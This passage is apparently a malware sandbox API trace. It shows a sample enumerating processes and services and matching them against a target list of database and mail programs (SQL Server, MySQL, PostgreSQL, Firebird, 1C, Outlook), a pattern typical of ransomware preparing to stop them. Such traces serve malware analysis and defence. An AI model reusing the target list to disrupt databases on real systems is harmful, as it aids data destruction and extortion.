lpString2="winlogon.exe") returned -1 [0095.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0095.483] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0095.483] lstrlenW (lpString="services.exe") returned 12 [0095.483] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0095.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0095.483] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0095.483] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0095.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0095.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0095.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0095.483] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0095.484] lstrlenW (lpString="lsass.exe") returned 9 [0095.484] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0095.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0095.484] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0095.484] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0095.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0095.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0095.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0095.484] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0095.484] lstrlenW (lpString="lsm.exe") returned 7 [0095.484] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0095.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0095.484] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0095.484] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0095.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0095.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0095.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0095.484] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.484] lstrlenW (lpString="svchost.exe") returned 11 [0095.484] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0095.485] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.485] lstrlenW (lpString="svchost.exe") returned 11 [0095.485] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.485] lstrlenW (lpString="svchost.exe") returned 11 [0095.485] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.485] lstrlenW (lpString="svchost.exe") returned 11 [0095.485] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.485] lstrlenW (lpString="svchost.exe") returned 11 [0095.486] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0095.486] lstrlenW (lpString="audiodg.exe") returned 11 [0095.486] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.486] lstrlenW (lpString="svchost.exe") returned 11 [0095.486] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.486] lstrlenW (lpString="svchost.exe") returned 11 [0095.486] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0095.486] lstrlenW (lpString="userinit.exe") returned 12 [0095.487] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0095.487] lstrlenW (lpString="dwm.exe") returned 7 [0095.487] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0095.487] lstrlenW (lpString="explorer.exe") returned 12 [0095.487] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0095.487] lstrlenW (lpString="spoolsv.exe") returned 11 [0095.487] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0095.488] lstrlenW (lpString="taskhost.exe") returned 12 [0095.488] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.488] lstrlenW (lpString="svchost.exe") returned 11 [0095.488] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0095.488] lstrlenW (lpString="payload.exe") returned 11 [0095.488] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0095.488] lstrlenW (lpString="reader_sl.exe") returned 13 [0095.488] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0095.489] CloseHandle (hObject=0x3a0) returned 1 [0095.489] Sleep (dwMilliseconds=0x1f4) [0096.101] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4037bc0 [0096.101] EnumServicesStatusExW (in: hSCManager=0x4037bc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0096.101] GetLastError () returned 0xea [0096.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xf5a) returned 0x4126028 [0096.101] EnumServicesStatusExW (in: hSCManager=0x4037bc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4126028, cbBufSize=0xf5a, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4126028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0096.102] CloseServiceHandle (hSCObject=0x4037bc0) returned 1 [0096.102] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0096.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0096.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0096.102] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0096.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0096.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0096.102] lstrlenW (lpString="AudioSrv") returned 8 [0096.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0096.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0096.102] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0096.102] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0096.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0096.102] lstrlenW (lpString="BFE") returned 3 [0096.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0096.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0096.102] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0096.102] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0096.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0096.102] lstrlenW (lpString="CryptSvc") returned 8 [0096.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0096.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0096.102] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0096.102] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0096.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0096.102] lstrlenW (lpString="CscService") returned 10 [0096.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0096.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0096.102] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0096.102] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0096.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0096.102] lstrlenW (lpString="DcomLaunch") returned 10 [0096.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0096.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0096.102] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0096.102] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0096.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0096.102] lstrlenW (lpString="Dhcp") returned 4 [0096.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0096.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0096.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0096.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0096.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0096.102] lstrlenW (lpString="Dnscache") returned 8 [0096.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0096.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0096.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0096.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0096.103] lstrlenW (lpString="DPS") returned 3 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0096.103] lstrlenW (lpString="eventlog") returned 8 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0096.103] lstrlenW (lpString="EventSystem") returned 11 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0096.103] lstrlenW (lpString="gpsvc") returned 5 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0096.103] lstrlenW (lpString="iphlpsvc") returned 8 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0096.103] lstrlenW (lpString="LanmanServer") returned 12 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0096.103] lstrlenW (lpString="LanmanWorkstation") returned 17 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0096.103] lstrlenW (lpString="lmhosts") returned 7 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0096.103] lstrlenW (lpString="MMCSS") returned 5 [0096.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0096.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0096.103] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0096.103] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0096.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0096.104] lstrlenW (lpString="MpsSvc") returned 6 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0096.104] lstrlenW (lpString="Netman") returned 6 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0096.104] lstrlenW (lpString="netprofm") returned 8 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0096.104] lstrlenW (lpString="NlaSvc") returned 6 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0096.104] lstrlenW (lpString="nsi") returned 3 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0096.104] lstrlenW (lpString="PcaSvc") returned 6 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0096.104] lstrlenW (lpString="PlugPlay") returned 8 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0096.104] lstrlenW (lpString="Power") returned 5 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0096.104] lstrlenW (lpString="ProfSvc") returned 7 [0096.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0096.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0096.104] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0096.104] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0096.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0096.104] lstrlenW (lpString="RpcEptMapper") returned 12 [0096.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0096.105] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0096.105] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0096.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0096.105] lstrlenW (lpString="RpcSs") returned 5 [0096.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0096.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0096.105] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0096.105] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0096.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0096.105] lstrlenW (lpString="SamSs") returned 5 [0096.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0096.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0096.105] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0096.105] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0096.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0096.105] lstrlenW (lpString="Schedule") returned 8 [0096.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0096.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0096.105] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0096.105] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0096.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0096.105] lstrlenW (lpString="SENS") returned 4 [0096.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0096.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0096.105] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0096.105] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0096.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0096.105] lstrlenW (lpString="ShellHWDetection") returned 16 [0096.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0096.106] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0096.106] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0096.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0096.106] lstrlenW (lpString="Spooler") returned 7 [0096.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0096.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0096.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0096.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0096.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0096.106] lstrlenW (lpString="SysMain") returned 7 [0096.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0096.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0096.106] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0096.106] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0096.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0096.106] lstrlenW (lpString="Themes") returned 6 [0096.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0096.106] lstrcmpiW 